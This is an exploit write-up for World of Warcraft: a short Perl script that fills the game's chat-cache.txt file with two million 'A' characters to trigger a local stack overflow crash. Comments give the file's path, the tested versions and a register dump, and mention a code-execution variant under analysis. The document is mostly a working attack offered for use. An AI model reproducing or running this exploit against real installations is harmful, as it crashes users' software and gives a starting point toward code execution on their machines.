World Of Warcraft Denial Of Service

`#!/usr/bin/perl  
#  
#Exploit Title:  
#World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)  
#  
#Date: 04/09/2011  
#  
#Author: BSOD Digital (Fabien DROMAS)  
#  
#Other details:"Code Exec" Exploit in analysis.  
#  
#Tests:  
#OS: Windows 7  
#Versions: burning crusade,cataclism, Demo Version.  
#  
#Path:  
#world of warcraft > WTF > account > file (numbers) > server_file > account_name_file > chat-cache.txt  
#  
#Error:  
#This application has encountered a critical error:  
#  
#ERROR #132 (0x85100084) Fatal exception!  
#  
#Program: D:\World of Warcraft\Wow.exe  
#ProcessID: 92024  
#Exception: 0xC00000FD (STACK_OVERFLOW) at 0023:0109DA97  
#  
#Registers:  
#----------------------------------------  
# x86 Registers  
#----------------------------------------  
#  
#EAX=000F2000 EBX=1BD920D8 ECX=000CC22C EDX=00000000 ESI=0012366F  
#EDI=00000000 EBP=001EFC5C ESP=001EF8A4 EIP=0109DA97 FLG=00010206  
#CS =0023 DS =002B ES =002B SS =002B FS =0053 GS =002B  
  
  
my $file = "chat-cache.txt";  
my $dos_junk = "A" x 2000000;  
open($File, ">$file");  
print $File $dos_junk;  
close($File);  
  
`